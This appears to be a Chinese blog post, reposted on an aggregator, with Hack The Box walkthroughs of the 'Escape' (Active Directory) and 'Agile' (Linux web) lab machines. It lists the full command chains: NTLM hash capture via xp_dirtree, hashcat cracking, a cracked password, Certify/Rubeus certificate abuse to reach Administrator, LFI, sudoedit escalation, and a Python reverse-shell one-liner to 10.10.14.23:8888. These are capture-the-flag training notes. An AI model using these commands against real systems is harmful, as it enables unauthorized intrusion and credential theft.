HTB打靶日记:Escape
Posted 文(备考oscp版~)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTB打靶日记:Escape相关的知识,希望对你有一定的参考价值。
信息收集
TCP协议:
nmap -p- -sT --min-rate=1000 -Pn 10.129.221.221
UDP协议
nmap -p- -sU --min-rate=1000 -Pn 10.129.221.221
将开放的端口整理一下,探测一下对应服务
nmap -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49689,49690,49710,49714 -Pn -sT -sC -sV 10.129.221.221
发现了域名sequel.htb以及子域名dc.sequel.htb,加入hosts文件中
53端口开放尝试区域传输
dig 10.129.221.221 axfr sequel.htb
389端口开放,探测一下没有发现什么有用的信息
ldapsearch -H ldap://sequel.htb -x -s base -b '' "(objectClass=*)" "*" +
445端口开放,尝试未授权访问,在Public这个公共文件夹下,发现了一个PDF,看命名似乎与MSSQL有关,并且机器开放了1433端口,猜测突破点应该在此
果然在PDF中发现了一对用户名与密码
利用navicat连接mssql数据库(Navicat:Navicat Premium16.0.10 Linux中英文破解版 - 法海之路)
尝试xp_dirtree,并利用imparket包中的smbserver接收请求
xp_dirtree '\\\\10.10.14.4\\share'
impacket-smbserver share . -smb2support
执行后成功接收到了sql_svc的ntlmv2 hash
在example_hashes [hashcat wiki]上查了一下hashcat的-m参数对应的数
将刚才得到的sql_svc保存到hash文件中,利用利用hashcat成功破解了hash,获取了sql_svc密码
hashcat hash -m 5600 /usr/share/wordlists/rockyou.txt
机器上的5985端口开放,使用evil-winrm利用刚才获取的账户密码成功登陆机器
evil-winrm -i 10.129.221.221 -u sql_svc -p REGGIE1234ronnie
通过在当前主机上翻找信息,在sqlserver目录下发现了logs文件夹,文件夹中有一个日志文件
在日志中看到了两个登陆失败的记录,并且当时在users目录下发现了Ryan.Cooper用户的文件夹
利用evil-winrm成功登陆Ryan.Cooper用户会话
在desktop目录下发现了第一个flag
在没有发现明显漏洞后,尝试利用Certify.exe寻找易受攻击的证书模板
.\\Certify.exe find /vulnerable
发现了存在漏洞的证书模板
在HackTricks查看漏洞利用手法(https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation)
.\\Certify.exe request /altname:Administrator /template:UserAuthentication /ca:dc.sequel.htb\\sequel-DC-CA
将私钥部分保存为private.key,将证书部分保存为cert.pem
在命令中加入-inkey指定私钥即可生成cert.pfx格式的证书
openssl pkcs12 -in cert.pem -inkey private.key -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
上传刚刚获取的证书以及rubeus
利用Rubeus成功获取管理员hash
.\\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials
利用刚刚获取的hash成功登陆管理员会话
拿到了第二个flag
HTB打靶日记:Agile
信息收集:
TCP协议:
nmap -p- -sT --min-rate=1000 -Pn 10.129.222.107
UDP协议:
nmap -p- -sU --min-rate=1000 -Pn 10.129.222.107
直接访问80端口,会自动出现一个域名superpass.htb,将这个域名加入hosts文件中
在web界面有一个登陆框,在登陆框处,存在一个注册界面
在注册后,会出现一个报错页面,在页面中发现了一些文件的绝对路径,猜测可能在其他位置存在LFI漏洞,然后下载这些文件
开始目录扫描
gobuster dir -u http://superpass.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 50
发现了/download页面,在页面中存在一个文件读取的参数fn
在这个报错页面中发现了load_user,可能含有用户登陆的东西
将它利用LFI漏洞下载后发现了一串加密的密钥,但是没看懂怎么解密,只能再找找其他出路了
利用LFI漏洞读取../app/app/superpass/views/vault_views.py文件,在这个py脚本中发现输入用户id可以返回password的路径/vault/row/<id>,此时思路就是枚举用户id
利用yakit开始fuzz
在第3、6、7、8位处发现用户的账户以及密码
其中一个账户密码成功利用ssh登陆
成功获取了第一个flag
查看一下suid权限,发现了chrome
查看本地的服务
在chrome中输入chrome://inspect/后配置discover network targerts,添加转发端口后可以看到SuperPassword,后访问vault目录后,可以获取edwards的密码
发现了edwards 用户的密码,利用edwards 的密码成功利用ssh登陆
发现当前用户可以无密码利用dev_admin权限去编辑/app/config_test.json与/app/app-testing/tests/functional/creds.txt
config_test.jso文件是一个配置文件,写入反弹shell命令
export EDITOR="vim -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",8888));os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功获取root权限
拿到了第二个flag
以上是关于HTB打靶日记:Escape的主要内容,如果未能解决你的问题,请参考以下文章